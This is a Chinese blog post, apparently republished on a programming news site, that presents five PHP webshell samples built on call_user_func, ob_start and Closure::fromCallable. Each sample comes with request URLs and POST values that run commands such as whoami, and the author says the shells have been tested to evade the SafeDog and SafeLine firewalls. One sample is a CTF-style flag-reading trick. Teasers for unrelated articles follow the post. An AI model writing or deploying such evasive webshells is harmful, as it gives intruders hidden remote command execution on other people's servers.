webshell绕过样本初体验

目录

一:前景

二:样本

        样本一:

样本二:

样本三:        

样本4:

样本5:


一:前景

        在我们日常的网站中百分之一百是存在一些安全设备来拦截我们的webshell的,一般情况下不可能裸奔,一些比较好用的免费waf通常为安全狗,长亭科技的雷池waf等。当我们上传的webshell被查杀出来以后就直接失效。

        提供以下几种样本来绕过webshell的检测,并且亲测可以绕过安全狗和雷池。

二:样本

        样本一:

<?php$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}$a = call_user_func($action, ...$parameters);

call_user_func回调后面。

$parameters = $_GET;  相当于变量parameters接收所有的get传参。在后面的过滤中将action参数过滤。

由此我们构建利用:

方式1:​​​​​​http://127.0.0.1/test.php?action=system&1=whoami   方法1比较简单。

方式2:http://127.0.0.1/test.php?action=usort&0[0]=system&0[1]=whoami&1=call_user_func

方法2使用usort函数来进行利用,usort传递两个参数,一个数组和一个函数。可以去官网查看具体用法:PHP: Hypertext Preprocessor

经历过程:

call_user_func(usort,0[0]=system&0[1]=whoami&1=call_user_func)

usort(0[0]=system&0[1]=whoami,call_user_func)

call_user_func(system,whoami)

样本二:

<?php$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}call_user_func($action, $parameters)($_POST['a'])($_POST['b']);

结构和样本一类似。我们直接看利用方式。

方法1:http://127.0.0.1/test.php?action=current&a=current    POST:a[]=system&b=whoami

方法一利用的是current这个函数,我们可以去官网查看用法:返回当前数组中的值。

经过:从下面就可以很清晰的看到解析的过程。

call_user_func($action, $parameters)($_POST['a'])($_POST['b']);

call_user_func(current,current)($_POST['a'])($_POST['b']);

current($_POST['a'])($_POST['b']);

a($_POST['b']);

system(ls);

方法二:http://127.0.0.1/test.php?action=Closure::fromCallable&0=Closure&1=fromCallable

POST:a=system&b=whoami

方法二主要使用的是PHP原生类静态方法Closure::fromCallable(这个方法为Closure类下的fromCallable方法),它也可以去调用方法和call_user_func类似。

call_user_func(Closure::fromCallable,0=Closure&1=fromCallable)=  Closure::fromCallable

相当于调用自身。

经过:call_user_func(Closure::fromCallable, 0=Closure&1=fromCallable)($_POST['a'])($_POST['b']);

Closure::fromCallable(Closure, fromCallable)(system)(ls)

这里又相当于使用Closure::fromCallable调用Closure类下的fromCallable方法。即:Closure::fromCallable(Closure, fromCallable)= Closure::fromCallable

Closure::fromCallable(system)(ls)

调用system方法。

System(ls)

样本三:        

<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}call_user_func($action, $parameters);if(count(glob(__DIR__.'/*'))>3){readfile('flag.txt');
}?>

很明显:这里是要读取flag.txt这个文件,但是这里存在一个前提那就是当前路径下的文件数量要大于3个。

加上flag.txt文件和当前的php文件就还是只有两个文件。还差至少两个文件。

利用方法:这里可以利用session_start命令,将session文件防止到当前文件下面。不过在这之前我们还需要知道当前文件的绝对路径。通过报错来定位当前物理路径,报错的方法有很多,大体是通过引入一个函数并传递“不合法”的参数,这里给一个方法来报路径:

16.php?action=register_tick_function&0=SplFixedArray&1=toArray

利用:http://127.0.0.1/test.php?action=session_start&save_path=D:\phpstudy_pro\WWW

当我们回车之后就会生成一个session在当前路径下面,我们只需要去更改如下cookie中的值后再次回车即可,再次回车之后又会生成一个session文件。此时就可以读取到flag.txt文件了。

样本4:

<?php
Class A{static function f(){system($_POST['a']);}
}$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}call_user_func($action, $parameters);

利用方法:http://127.0.0.1/test.php?action=call_user_func&0=A&1=f   POST:a=dir

直接使用call_user_func调用类A下的f方法。

样本5:

<?php
Class A{static function f(string $a){system($a);}
}$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}call_user_func($action, $parameters);
echo $_POST['a'];

利用方法:http://127.0.0.1/test.php?action=ob_start&0=A&1=f   POST:a=whoami

这里主要利用的是ob_start这个函数,可以去官网查看该函数的用法:

Ob_start:打开输出缓冲,相当于在使用ob_start后会自动接受POST数据。Ob_start与call_use_func类似,可以接收两个参数。

Ob_start(A,f)相当于调用类A下面的f方法。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/415681.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Kafka大厂面试14问(附答案)

怎么保证顺序消费&#xff1f; 同一个生产者发送到同一分区的消息&#xff0c;先发送的比后发送的offset要小。同一生产者发送到不同分区的消息&#xff0c;消息顺序无法保证。 怎么解决这个问题&#xff1f; 给一个topic只设置一个分区 相同key会发给一个分区 怎么保证幂…

[有彩蛋]大模型独角兽阶跃星辰文生图模型Step-1X上线,效果具说很炸裂?快来看一手实测!

先简单介绍一下阶跃星辰吧 公司的创始人兼CEO是姜大昕博士&#xff0c;他在微软担任过全球副总裁&#xff0c;同时也是微软亚洲互联网工程研究院的副院长和首席科学家。 2024年3月&#xff0c;阶跃星辰发布了Step-2万亿参数MoE语言大模型预览版&#xff0c;这是国内初创公司首…

Centos7通过reposync搭建本地Yum源

目录 1. 服务端搭建 1.1. 安装相关软件包 1.2. 加载几个常用的yum源 1.3. 创建文件保存目录 1.4. 把各仓库同步到本地 1.5. 生成仓库信息 1.6. 定时任务更新仓库 1.7. nginx配置下载服务 1.8. 内网测试nginx服务配置是否正确 2. 客户端配置 前言&#xff1a;之前使用…

Nginx负载均衡数据流分析

1、各机器ip信息 客户端IP&#xff1a;192.168.3.239 Nginx代理服务器IP&#xff1a;192.168.3.241 服务端IP&#xff1a;192.168.3.238 2、架构图&#xff08;略&#xff09; 3、 下图是在服务端上面的抓包分析。 下图是在客户端上面的抓包分析&#xff1a; 下图是在代理服务…

动态路由和路由导航守卫及其案例分析

为什么需要动态路由&#xff1f; 动态路由其实用的不多&#xff0c;在实际开发中&#xff0c;如果遇到权限分配问题&#xff0c;比如对于一个公司人员的后台管理系统&#xff0c;那对不同成员的权限肯定不同&#xff0c;对于人事部&#xff0c;他们有权限进入成员表对人员的流…

PHP8、ThinkPHP8框架中间的应用教程详解

前言 虽然PHP的落幕的话题一直不绝&#xff0c;但是实际在WEB端项目中PHP占有率达到了70%以上&#xff0c;一直在WEB一枝独秀&#xff0c;它以快速、高效的开发闻名&#xff0c;出圈了几十年&#xff0c;等待只是下一次的涅槃。而经过PHP8、PHP9的演变发展&#xff0c;PHP逐渐…

【Linux网络编程】协议|OSI模型|TCP/IP模型|局域网通信|跨网络通信|地址管理|流程图

目录 ​编辑 一&#xff0c;协议 协议分层 二&#xff0c;OSI七层模型 三&#xff0c;TCP/IP五层&#xff08;或四层&#xff09;模型 TCP/IP各个层次一些名词解释 为什么要有TCP/IP协议 TCP/IP协议栈与操作系统的宏观关系示意图 四&#xff0c;网络传输基本流程 局…

【书生大模型实战营】MindSearch CPU-only 版部署

MindSearch CPU-only 版部署 MindSearch CPU-only 版部署任务步骤 MindSearch CPU-only 版部署 任务 将 MindSearch 部署到 HuggingFace 并美化 Gradio 的界面&#xff0c;并提供截图和 Hugging Face 的Space的链接。 步骤 按照官方教程&#xff0c;实现在网页上打开MindSe…

llama_factory Qlora微调异常 No package metadata was found for The ‘autoawq‘

importlib.metadata.PackageNotFoundError: No package metadata was found for The ‘autoawq’ distribution was not found and is required by this application. To fix: pip install autoawq 其实问题比较简单 直接安装autoawq 即可 但是对应会有版本问题&#xff1a; 查…

Python自适应光学模态星形小波分析和像差算法

&#x1f3af;要点 &#x1f3af;星形小波分析像差测量 | &#x1f3af;对比傅里叶和小波分析 | &#x1f3af;定义多尺度图像质量度量&#xff0c;矩阵数据 | &#x1f3af;像差校正算法 | &#x1f3af;受激发射损耗显微镜布局 | &#x1f3af;干涉仪分支校准&#xff0c;求…

【unity实战】使用新版输入系统Input System+Rigidbody实现第三人称人物控制器(附项目源码)

最终效果 前言 使用CharacterController实现3d角色控制器&#xff0c;之前已经做过很多了&#xff1a; 【unity小技巧】unity最完美的CharacterController 3d角色控制器&#xff0c;实现移动、跳跃、下蹲、奔跑、上下坡、物理碰撞效果&#xff0c;复制粘贴即用 【unity实战】C…

快速入门Go:Go + gin + MongoDB

Go 进阶:Go + gin + MongDB 极速搭建EcommerceSys电商系统 前言 本章节适合有一定基础的 Golang 初学者,通过简单的项目实践来加深对 Golang 的基本语法和 Web 开发的理解。 本文章持续更新中,请关注… 项目结构 项目流程图 技术栈(待补充)项目结构项目路由 (待补充) …

DataWhale AI夏令营-《李宏毅深度学习教程》笔记-task3

DataWhale AI夏令营-《李宏毅深度学习教程》笔记-task2 第五章 循环神经网络5.1 独热编码5.2 RNN架构5.3 其他RNN5.3.1 Elman 网络 &Jordan 网络5.3.2 双向循环神经网络 第五章 循环神经网络 循环神经网络RNN&#xff0c;RNN在处理序列数据和时间依赖性强的问题上具有独特…

51单片机——实时时钟

1、DS1302介绍 DS1302是由美国DALLAS公司推出的具有涓细电流充电能力的低功耗实时时钟芯片。它可以对年、月、日、周、时、分、秒进行计时&#xff0c;且具有闰年补偿等多种功能 RTC(Real Time Clock)&#xff1a;实时时钟&#xff0c;是一种集成电路&#xff0c;通常称为时钟…

机器学习项目——基于机器学习(RNN LSTM 高斯拟合 MLP)的锂离子电池剩余寿命预测方法研究(代码/论文)

完整的论文代码见文章末尾 以下为核心内容和部分结果 摘要 机器学习方法在电池寿命预测中的应用主要包括监督学习、无监督学习和强化学习等。监督学习方法通过构建回归模型或分类模型&#xff0c;直接预测电池的剩余寿命或健康状态。无监督学习方法则通过聚类分析和降维技术&…

VS-E5PH3006L-N3 600V 30A 高效低损耗整流器 二极管 电动 / 混动汽车电池充电的可靠之选

VS-E5PH3006L-N3参数特性&#xff1a; 反向电压&#xff08;VR&#xff09;&#xff1a;600V&#xff0c;这表示该整流器在电路中能承受的最大反向电压为 600 伏特&#xff0c;超过此电压可能会导致器件损坏。平均整流电流&#xff08;IF (AV)&#xff09;&#xff1a;30A&…

【系统架构设计】嵌入式系统设计(2)

【系统架构设计】嵌入式系统设计&#xff08;2&#xff09; 嵌入式网络系统嵌入式 Internet 的接入方式嵌入式 TCP/IP 协议栈 嵌入式数据库管理系统数据的一致性高效的事务处理数据的安全性 实时系统与嵌入式操作系统对实时系统划分根据实时性的强弱根据对错失时限的容忍程度或…

Linux学习-虚拟化平台安装和使用

注&#xff1a;系统使用Rock8.6 下载链接 通过百度网盘分享的文件&#xff1a;cirros.qcow2&#xff0c;node_base.xml等2个文件 链接&#xff1a;https://pan.baidu.com/s/1hupGQsMjrXMgngCy3lQLhw?pwdhlr6 提取码&#xff1a;hlr6[rootharbor ~]# cat /etc/redhat-releas…

《Class-Agnostic Counting》CVPR2018

概述 摘要&#xff1a;这篇论文提出了一种用于对象计数的模型&#xff0c;该模型能够计算任何类别的对象&#xff0c;而不需要针对特定对象类别进行设计。作者将计数问题表述为一个匹配问题&#xff0c;利用图像中自然存在的自相似性属性。论文的贡献包括&#xff1a;提出了一…

软件工程知识点总结(1):软件工程概述

1 什么是软件&#xff1f; 定义&#xff1a;计算机系统中的程序及其文档。 ——程序是计算机任务的处理对象和处理规模的描述&#xff1b; ——文档是为了便于了解程序所需要的阐明性资料。 2 软件的特点&#xff1f; 软件是无形的&#xff0c;不可见的逻辑实体 ——它的正确与…